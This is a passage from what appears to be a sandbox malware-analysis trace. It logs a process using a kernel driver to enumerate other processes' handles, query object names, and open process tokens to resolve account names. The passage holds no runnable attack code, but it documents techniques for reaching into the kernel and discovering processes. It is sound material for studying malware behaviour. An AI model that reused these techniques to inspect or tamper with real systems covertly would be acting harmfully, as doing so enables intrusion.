DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0133.387] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.387] PsAcquireProcessExitSynchronization () returned 0x0 [0133.387] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0) [0133.387] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0133.387] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.387] PsReleaseProcessExitSynchronization () returned 0x2 [0133.387] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0133.388] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.388] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0133.388] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.388] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.388] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0133.388] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.388] PsAcquireProcessExitSynchronization () returned 0x0 [0133.388] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0) [0133.388] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0133.388] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.388] PsReleaseProcessExitSynchronization () returned 0x2 [0133.388] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0133.388] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.388] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0133.388] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.388] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.388] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0133.388] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.388] PsAcquireProcessExitSynchronization () returned 0x0 [0133.388] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0) [0133.388] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0133.388] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.388] PsReleaseProcessExitSynchronization () returned 0x2 [0133.388] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0133.388] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.388] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0133.388] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.388] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.388] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.388] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0133.389] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.389] PsAcquireProcessExitSynchronization () returned 0x0 [0133.389] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0) [0133.389] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80022d2a60, HandleInformation=0x0) returned 0x0 [0133.389] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.389] PsReleaseProcessExitSynchronization () returned 0x2 [0133.389] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0133.389] ObQueryNameString (in: Object=0xfffffa80022d2a60, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.389] ObfDereferenceObject (Object=0xfffffa80022d2a60) returned 0x1 [0133.389] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.389] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.389] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.389] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0133.389] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.389] PsAcquireProcessExitSynchronization () returned 0x0 [0133.389] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0) [0133.389] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023145e0, HandleInformation=0x0) returned 0x0 [0133.389] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.389] PsReleaseProcessExitSynchronization () returned 0x2 [0133.389] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0133.389] ObQueryNameString (in: Object=0xfffffa80023145e0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.389] ObfDereferenceObject (Object=0xfffffa80023145e0) returned 0x2 [0133.389] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.389] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.389] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbec) returned 0xc0 [0133.389] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.389] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80023109d0, HandleInformation=0x0) returned 0x0 [0133.389] ObOpenObjectByPointer (in: Object=0xfffffa80023109d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.389] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x41 [0133.389] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.389] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.390] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.390] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.390] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.391] CloseHandle (hObject=0xc8) returned 1 [0133.391] CloseHandle (hObject=0xc0) returned 1 [0133.391] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.391] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0133.391] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.391] PsAcquireProcessExitSynchronization () returned 0x0 [0133.391] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0) [0133.391] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002359770, HandleInformation=0x0) returned 0x0 [0133.391] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.391] PsReleaseProcessExitSynchronization () returned 0x2 [0133.392] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0133.392] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.392] ObfDereferenceObject (Object=0xfffffa8002359770) returned 0x1 [0133.392] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.392] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.392] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.392] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0133.392] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.392] PsAcquireProcessExitSynchronization () returned 0x0 [0133.392] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0) [0133.392] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023184d0, HandleInformation=0x0) returned 0x0 [0133.392] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.392] PsReleaseProcessExitSynchronization () returned 0x2 [0133.392] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0133.392] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.392] ObfDereferenceObject (Object=0xfffffa80023184d0) returned 0x1 [0133.392] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.392] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.392] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.392] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0133.392] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.392] PsAcquireProcessExitSynchronization () returned 0x0 [0133.392] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0) [0133.392] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0133.392] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.392] PsReleaseProcessExitSynchronization () returned 0x2 [0133.392] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0133.392] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.392] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0133.392] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.393] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.393] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.393] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0133.393] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.393] PsAcquireProcessExitSynchronization () returned 0x0 [0133.393] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0) [0133.393] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0133.393] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.393] PsReleaseProcessExitSynchronization () returned 0x2 [0133.393] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0133.393] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80034947c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80034947c4, ReturnLength=0xfffff88005000550) returned 0x0 [0133.393] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0133.393] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.393] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.393] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.393] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0133.393] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.393] PsAcquireProcessExitSynchronization () returned 0x0 [0133.393] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0) [0133.393] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0133.393] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.393] PsReleaseProcessExitSynchronization () returned 0x2 [0133.393] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0133.393] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fc3044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fc3044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.393] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0133.393] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.393] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.393] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.393] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0133.393] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.393] PsAcquireProcessExitSynchronization () returned 0x0 [0133.393] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880050005d0) [0133.393] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002310680, HandleInformation=0x0) returned 0x0 [0133.393] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.394] PsReleaseProcessExitSynchronization () returned 0x2 [0133.394] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x3f [0133.394] ObQueryNameString (in: Object=0xfffffa8002310680, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.394] ObfDereferenceObject (Object=0xfffffa8002310680) returned 0x1 [0133.394] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.394] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.394] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x328) returned 0xc0 [0133.394] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.394] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8001fdf060, HandleInformation=0x0) returned 0x0 [0133.394] ObOpenObjectByPointer (in: Object=0xfffffa8001fdf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.394] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x39 [0133.394] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.394] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.394] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.394] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.394] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.542] CloseHandle (hObject=0xc8) returned 1 [0133.542] CloseHandle (hObject=0xc0) returned 1 [0133.542] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.542] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.542] PsAcquireProcessExitSynchronization () returned 0x0 [0133.542] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0) [0133.542] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80103235d0, HandleInformation=0x0) returned 0x0 [0133.542] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.542] PsReleaseProcessExitSynchronization () returned 0x2 [0133.542] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0133.542] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000508) returned 0x0 [0133.542] ObfDereferenceObject (Object=0xfffffa80103235d0) returned 0x1 [0133.542] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.542] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.542] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0133.542] PsLookupProcessByProcessId (in: ProcessId=0x328, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.542] PsAcquireProcessExitSynchronization () returned 0x0 [0133.542] KeStackAttachProcess (in: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001fdf060, ApcState=0xfffff880050005d0) [0133.542] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003582f20, HandleInformation=0x0) returned 0x0 [0133.542] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.542] PsReleaseProcessExitSynchronization () returned 0x2 [0133.542] ObfDereferenceObject (Object=0xfffffa8001fdf060) returned 0x37 [0133.542] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0133.542] ObfDereferenceObject (Object=0xfffffa8003582f20) returned 0x1 [0133.542] IofCompleteRequest (Irp=0xfffffa8001efdee0, PriorityBoost=0) [0133.542] HeapFree 